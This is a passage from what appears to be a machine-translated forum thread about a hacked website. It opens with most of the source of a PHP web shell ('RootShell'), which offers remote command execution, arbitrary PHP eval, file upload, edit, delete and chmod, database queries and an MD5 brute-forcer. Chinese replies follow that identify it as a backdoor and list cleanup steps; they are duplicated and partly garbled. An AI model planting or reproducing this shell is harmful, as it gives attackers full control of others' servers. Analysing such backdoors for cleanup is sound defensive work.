 border-right-width: 1px; 
 border-right-color: #33FF00;
}
hr {
color: #33FF00;
background-color: #33FF00;
height: 5px;
}
</style>
</head>
<body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900">
<table width=100%><td id="header" width=100%>
<p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>]  [<a href="'.$me.'">Home</a>] ';
foreach($pages as $page => $page_name)
{
 $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] ';
}
$header .= '<br><hr>'.show_dirs('.').'</td><tr><td>';
print $header;
$footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>';

//
//Page handling
//
if(isset($_REQUEST['p']))
{
  switch ($_REQUEST['p']) {

   case 'cmd': //Run command

    print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>";
     if(isset($_REQUEST['command']))
     {
      print "<pre>";
      execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
     }
   break;


   case 'edit': //Edit a fie
    if(isset($_POST['editform']))
    {
     $f = $_GET['file'];
     $fh = fopen($f, 'w') or print "Error while opening file!";
     fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
     fclose($fh);
    }
    print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">";

    if(file_exists($_GET['file']))
    {
     $rd = file($_GET['file']);
     foreach($rd as $l)
     {
      print htmlspecialchars($l);
     }
    }

    print "</textarea><input type=submit value=\"Save\"></form>";

   break;

   case 'delete': //Delete a file

    if(isset($_POST['yes']))
    {
     if(unlink($_GET['file']))
     {
      print "File deleted successfully.";
     }
     else
     {
      print "Couldn't delete file.";
     }
    }


    if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
    {
     print "Are you sure you want to delete ".$_GET['file']."?<br>
     <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST>
     <input type=hidden name=yes value=yes>
     <input type=submit value=\"Delete\">
     ";
    }


   break;


   case 'eval': //Evaluate PHP code

    print "<form action=\"".$me."?p=eval\" method=POST>
    <textarea cols=60 rows=10 name=\"eval\">";
    if(isset($_POST['eval']))
    {
     print htmlspecialchars($_POST['eval']);
    }
    else
    {
     print "print \"Yo Momma\";";
    }
    print "</textarea><br>
    <input type=submit value=\"Eval\">
    </form>";

    if(isset($_POST['eval']))
    {
     print "<h1>Output:</h1>";
     print "<br>";
     eval($_POST['eval']);
    }

   break;

   case 'chmod': //Chmod file


    print "<h1>Under construction!</h1>";
    if(isset($_POST['chmod']))
    {
    switch ($_POST['chvalue']){
     case 777:
     chmod($_POST['chmod'],0777);
     break;
     case 644:
     chmod($_POST['chmod'],0644);
     break;
     case 755:
     chmod($_POST['chmod'],0755);
     break;
    }
    print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
    }
    if(isset($_GET['file']))
    {
     $content = urldecode($_GET['file']);
    }
    else
    {
     $content = "file/path/please";
    }

    print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod:
    <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b>
    <select name=\"chvalue\">
<option value=\"777\">777</option>
<option value=\"644\">644</option>
<option value=\"755\">755</option>
</select><input type=submit value=\"Change\">";

   break;

   case 'mysql': //MySQL Query

   if(isset($_POST['host']))
   {
    $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
    mysql_select_db($_POST['dbase']);
    $sql = $_POST['query'];


    $result = mysql_query($sql);

   }
   else
   {
    print "
    This only queries the database, doesn't return data!<br>
    <form action=\"".$me."?p=mysql\" method=POST>
    <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br>
    <b>Username:<br><input type=text name=username value=\"root\" size=10><br>
    <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br>
    <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br>

    <b>Query:<br></b<textarea name=query></textarea>
    <input type=submit value=\"Query database\">
    </form>
    ";

   }

   break;

   case 'createdir':
   if(mkdir($_GET['crdir']))
   {
   print 'Directory created successfully.';
   }
   else
   {
   print 'Couldn\'t create directory';
   }
   break;


   case 'phpinfo': //PHP Info
    phpinfo();
   break;


   case 'rename':

    if(isset($_POST['fileold']))
    {
     if(rename($_POST['fileold'],$_POST['filenew']))
     {
      print "File renamed.";
     }
     else
     {
      print "Couldn't rename file.";
     }

    }
    if(isset($_GET['file']))
    {
     $file = basename(htmlspecialchars($_GET['file']));
    }
    else
    {
     $file = "";
    }

    print "Renaming ".$file." in folder ".realpath('.').".<br>
        <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST>
     <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br>
     <b>To:<br><input type=text name=filenew value=\"\" size=10><br>
     <input type=submit value=\"Rename file\">
     </form>";
   break;

   case 'md5':
   if(isset($_POST['md5']))
   {
   if(!is_numeric($_POST['timelimit']))
   {
   $_POST['timelimit'] = 30;
   }
   set_time_limit($_POST['timelimit']);
    if(strlen($_POST['md5']) == 32)
    {

      if($_POST['chars'] == "9999")
      {
      $i = 0;
      while($_POST['md5'] != md5($i) && $i != 100000)
       {
        $i++;
       }
      }
      else
      {
       for($i = "a"; $i != "zzzzz"; $i++)
       {
        if(md5($i == $_POST['md5']))
        {
         break;
        }
       }
      }

     if(md5($i) == $_POST['md5'])
     {
       print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>";
     }

    }

   }

   print "Will bruteforce the md5
    <form action=\"".$me."?p=md5\" method=POST>
    <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br>
    <b>Characters:</b><br><select name=\"chars\">
    <option value=\"az\">a - zzzzz</option>
    <option value=\"9999\">1 - 9999999</option>
    </select>
    <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br>
    <input type=submit value=\"Bruteforce md5\">
    </form><br>*: if set_time_limit is allowed by php.ini";
   break;

   case 'headers':
   foreach(getallheaders() as $header => $value)
   {
   print htmlspecialchars($header . ":" . $value)."<br>";

   }
   break;
  }
}
else //Default page that will be shown when the page isn't found or no page is selected.
{

 $files = array();
 $directories = array();

 if(isset($_FILES['uploadedfile']['name']))
{
 $target_path = realpath('.').'/';
 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
     print "File:".  basename( $_FILES['uploadedfile']['name']). 
     " has been uploaded";
 } else{
     echo "File upload failed!";
 }
}




 print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>";
 if ($handle = opendir('.'))
 {
  while (false !== ($file = readdir($handle))) 
  {
        if(is_dir($file))
     {
    $directories[] = $file;
     }
     else
     {
    $files[] = $file;
     }
  }
 asort($directories);
 asort($files);
  foreach($directories as $file)
  {
   print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  }

  foreach($files as $file)
  {
   print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  }
 }
 else
 {
  print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>";
 }

 print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\">
<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" />
<input type=\"submit\" value=\"Upload File\" />
</form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td>
<tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form>
</td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td>
</table>";

}

function login()
{
 print "<table border=0 width=100% height=100%><td valign=\"middle\"><center>
 <form action=".basename('the actual path of this script')." method=\"POST\"><b>Password?</b>
 <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\">
 </form>";
}
function reload()
{
 header("Location: ".basename('the actual path of this script'));
}
function get_execution_method()
{
 if(function_exists('passthru')){ $m = "passthru"; }
 if(function_exists('exec')){ $m = "exec"; }
 if(function_exists('shell_exec')){ $m = "shell_ exec"; }
 if(function_exists('system')){ $m = "system"; }
 if(!isset($m)) //No method found :-|
 {
  $m = "Disabled";
 }
 return($m);
}
function execute_command($method,$command)
{
 if($method == "passthru")
 {
  passthru($command);
 }

 elseif($method == "exec")
 {
  exec($command,$result);
  foreach($result as $output)
  {
   print $output."<br>";
  }
 }

 elseif($method == "shell_exec")
 {
  print shell_exec($command);
 }

 elseif($method == "system")
 {
  system($command);
 }
}
function perm($file)
{
 if(file_exists($file))
 {
  return substr(sprintf('%o', fileperms($file)), -4);
 }
 else
 {
  return "????";
 }
}
function get_color($file)
{
if(is_writable($file)) { return "green";}
if(!is_writable($file) && is_readable($file)) { return "white";}
if(!is_writable($file) && !is_readable($file)) { return "red";}

}
function show_dirs($where)
{
 if(ereg("^c:",realpath($where)))
 {
 $dirparts = explode('\\',realpath($where));
 }
 else
 {
 $dirparts = explode('/',realpath($where));
 }



 $i = 0;
 $total = "";

 foreach($dirparts as $part)
 {
  $p = 0;
  $pre = "";
  while($p != $i)
  {
   $pre .= $dirparts[$p]."/";
   $p++;

  }
  $total .= "<a href=\"".basename('the actual path of this script')."?dir=".$pre.$part."\">".$part."</a>/";
  $i++;
 }

 return "<h2>".$total."</h2><br>";
}
print $footer;
// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
exit();
?>

?>如果您通过替换张贴代码底部的密码来进一步解码字符串,您将获得实际代码,尽管从上面可以很容易地确定发生了什么

这是令人讨厌的代码

*尽快删除该文件,因为它是你网站的后门*经过短暂的检查,还可能提供一种机制来破解你的密码(加上可能会做很多其他讨厌的事情)

在立即删除该文件后,我能提供的唯一建议是:

  • 将根密码更改为强密码(随机且>20 chars)
  • 更改运行web的任何管理员帐户的密码 服务器
  • 更改web/ftp上托管的任何ftp站点的密码 服务器
  • 更改web上运行的应用程序的密码 服务器(如Wordpress)
  • 更改任何基础上的密码 上面第4点中的web应用程序使用的数据库
  • 对任何具有字符串“base64\u decode”的文件执行“在文件中查找”。任何包含此字符串的文件都是高度可疑的。如果你不能解释文件在那里做什么,最好隔离它。这些文件中几乎没有可读代码,因为创建者不想让您知道其中隐藏了什么。有些文件确实合法地使用base64字符串
  • 完成此操作后,在web目录中搜寻新创建或最近创建/更新的文件。很可能这段代码被用来在你的网站上植入一些东西,比如钓鱼代码。对托管站点和基础数据库进行完整备份。删除或隔离任何看起来可疑的东西

    所有密码都应该是随机和强密码。使用密码生成器。很可能是把这个文件放在这里的人进入了你的网站,因为一开始密码很弱(你永远不会知道)


    我试图显示有问题的代码,但stackoverflow不允许我显示,因为格式不好(抱歉)。

    如果您通过替换张贴代码底部的密码来进一步解码字符串,您将获得实际代码,尽管从上面可以很容易地确定发生了什么

    这是令人讨厌的代码

    *尽快删除该文件,因为它是你网站的后门*经过短暂的检查,还可能提供一种机制来破解你的密码(加上可能会做很多其他讨厌的事情)

    在立即删除该文件后,我能提供的唯一建议是:

  • 将根密码更改为强密码(随机且>20 chars)
  • 更改运行web的任何管理员帐户的密码 服务器
  • 更改web/ftp上托管的任何ftp站点的密码 服务器
  • 更改web上运行的应用程序的密码 服务器(如Wordpress)
  • 更改任何基础上的密码 上面第4点中的web应用程序使用的数据库
  • 对任何具有字符串“base64\u decode”的文件执行“在文件中查找”。任何包含此字符串的文件都是高度可疑的。如果你不能解释文件在那里做什么,最好隔离它。这些文件中几乎没有可读代码,因为创建者不想让您知道其中隐藏了什么。有些文件确实合法地使用base64字符串
  • 完成此操作后,在web目录中搜寻新创建或最近创建/更新的文件。很可能这段代码被用来在你的网站上植入一些东西,比如钓鱼代码。对托管站点和基础数据库进行完整备份。删除或隔离任何看起来可疑的东西

    所有密码都应该是随机和强密码。使用密码生成器。很可能是把这个文件放在这里的人进入了你的网站,因为一开始密码很弱(你永远不会知道)


    我试图显示有问题的代码,但stackoverflow不允许我显示,因为格式不好(抱歉)。

    很抱歉听到您被黑客攻击。不过,这看起来不像是有问题的代码。它不会做任何事情。只要在文本编辑器中查看此代码,就会发现比我意识到的更多。很抱歉听到您被黑客攻击。不过,这看起来不像是有问题的代码。它不会做任何事情。只需在文本编辑器中查看此代码,其中的内容比我意识到的要多。我在服务器上有根,所有shell都在服务器上停止,除了encode shell,我如何停止encode shell的工作我在服务器上有根,所有shell都在服务器上停止,除了encode shell,我如何停止encode shell的工作